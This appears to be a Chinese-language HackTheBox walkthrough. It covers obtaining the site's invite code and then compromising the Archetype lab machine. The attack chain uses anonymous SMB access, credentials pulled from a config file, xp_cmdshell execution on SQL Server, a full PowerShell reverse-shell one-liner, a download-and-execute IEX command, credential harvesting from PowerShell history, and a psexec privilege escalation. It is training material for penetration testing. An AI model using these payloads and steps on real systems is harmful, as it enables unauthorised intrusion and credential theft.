13

HackTheBox(初)

 3 years ago
source link: https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA%3D%3D&%3Bmid=2247489647&%3Bidx=1&%3Bsn=d12171e2d22ab7c2b817e6b279c02fea
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Ifmy2mI.png!mobile

Hack The Box是一个在线平台,允许您测试您的渗透测试技能,并与其他类似兴趣的成员交流想法和方法。它包含一些不断更新的挑战。其中一些模拟真实场景,其中一些更倾向于CTF风格的挑战。

注册账号需要一个邀请码。

在有一天闲来无事时,在逛Parrot官网时,发现HacktheBox和parrot合作了,就访问了一下Hackthebox的官网,发现需要注册,本着没事闲的理论,就开始了。

访问官网,点击登录,发现需要提交一个邀请码才可以注册。

vyARNrV.png!mobile

根据页面提示,应该是从该登录页面中寻找相关内容。

首先查看js代码,发现其中有一个api接口,点击查看。

J3q6Nz.png!mobile

发现提示,存在混淆。

YBvuE3R.png!mobile

发现一个函数,在页面中执行此函数查看效果。

yAFvuej.png!mobile

发现回显了rot13的加密字符串,使用rot13进行解密,尝试发现,有时为base64,有时为rot13。

解密后得到

In order to generate the invite code,

make a POST request to /api/invite/generate。

使用hackbar或者其他工具发送POST包。

nYbeYnv.png!mobile

得到加密后的邀请码

3mQvyq6.png!mobile

进行解码

BbaMZf7.png!mobile

得到邀请码。

进行注册登录。

登录之后发现存在一个练习教程,尝试练习。

I77bUvf.png!mobile

发现首先需要使用openvpn进行连接,接入靶机内网环境。

官方推荐的是使用kali或者parrot系统进行攻击,因为集成了各种工具。

我这里使用的是kali,根据官方说明,需要使用openvpn进行连接。

YFvEB3R.png!mobile

使用

sudo openvpn example.ovpn

进行执行,其中example.ovpn为登录后下载的文件名称。

运行后,查看攻击机ip,发现多了一张网卡,已连接到服务器。

yiMjuuz.png!mobile

使用nmap进行扫描。

nmap -sC -sV -p 1-65535 -v 3 10.10.10.27

rEJFNvV.png!mobile

发现445、1433端口打开了,并且SMB与SQL Server相关联。

然后去查看一下文件共享目录是否开启,并且是否存在敏感信息。

使用

smbclient -N -L \\\\10.10.10.27\\

mEZZn2f.png!mobile

发现存在一个backups,进行查看一下是否存在敏感信息。

smbclient -N \\\\10.10.10.27\\backups

EJ7B7nj.png!mobile

发现存在有一个dtsConfig文件,它是与SSIS一起使用的配置文件。

下载查看文件内容。

get prod.dtsConfig

7Vj6BfQ.png!mobile

发现其中包含一个SQL连接字符串,其中包含本地Windows用户的凭据ARCHETYPE\sql_svc。

接下来尝试使用impacket(Impacket是用于网络协议的Python类的集合。Impacket专注于提供对数据包的低级编程访问,并且对于某些协议(例如SMB1-3和MSRPC),协议实现本身。数据包可以从头开始构建,也可以从原始数据中进行解析,而面向对象的API使处理协议的深层次结构变得简单。该库提供了一组工具,作为在该库的上下文中可以完成的操作的示例。)中的mssqlclient.py连接到目标的SQL Server。

mssqlclient.py ARCHETYPE/[email protected] -windows-auth

输入刚刚文件中的用户密码。

RzmIBjr.png!mobile

我们可以使用该IS_SRVROLEMEMBER函数显示当前SQL用户在SQL Server上是否具有sysadmin(最高级别)特权。

SELECT IS_SRVROLEMEMBER('sysadmin');

NneQJ3V.png!mobile

发现回显为1,证明具有sysadmin特权。

输入命令xp_cmdshell在主机上启用并获得RCE。

EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"

ZZ7rInz.png!mobile

发现该用户并不是管理权限。

可以尝试获得适当的外壳,然后继续进一步枚举系统。将PowerShell反向外壳另存为shell.ps1。

 $client = New-Object System.Net.Sockets.TCPClient("10.10.14.82",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

其中10.10.14.82为自己攻击机ip。

接下来,可以使用Python搭建一个小型网络服务器以托管文件。

QJ7JBfa.png!mobile

在端口443上建立一个netcat侦听器后,我们可以使用ufw允许端口80和443上的回调到攻击机。

 nc -lvnp 443
 ufw allow from 10.10.10.27 proto tcp to any port 80,443

接下来通过xp_cmdshell下载并执行反向Shell。

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.82/shell.ps1\");"

搭建的文件服务器收到下载请求。

2Q7nmer.png!mobile

并收到shell。

收到的外壳程序为sql_svc,可以在其桌面上获取user.txt。

EjYfqiJ.png!mobile

由于这既是普通用户帐户又是服务帐户,因此可以检查频繁访问的文件或已执行的命令。可以使用下面的命令访问PowerShell历史记录文件。

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

eAVjm2q.png!mobile

这表明该backups驱动器已使用本地管理员凭据进行了映射。我们可以使用Impacket psexec.py来获得特权外壳。

psexec.py [email protected]

其中密码为刚刚获取凭证的密码。

MNjqAfy.png!mobile

接下来获取system用户目录下,获取system.txt即可。

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。

Rrmu2aU.gif!mobile

我知道你 在看

fqmqIb7.png!mobile

IFjQZzQ.gif!mobile

mI7F3mv.gif!mobile


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK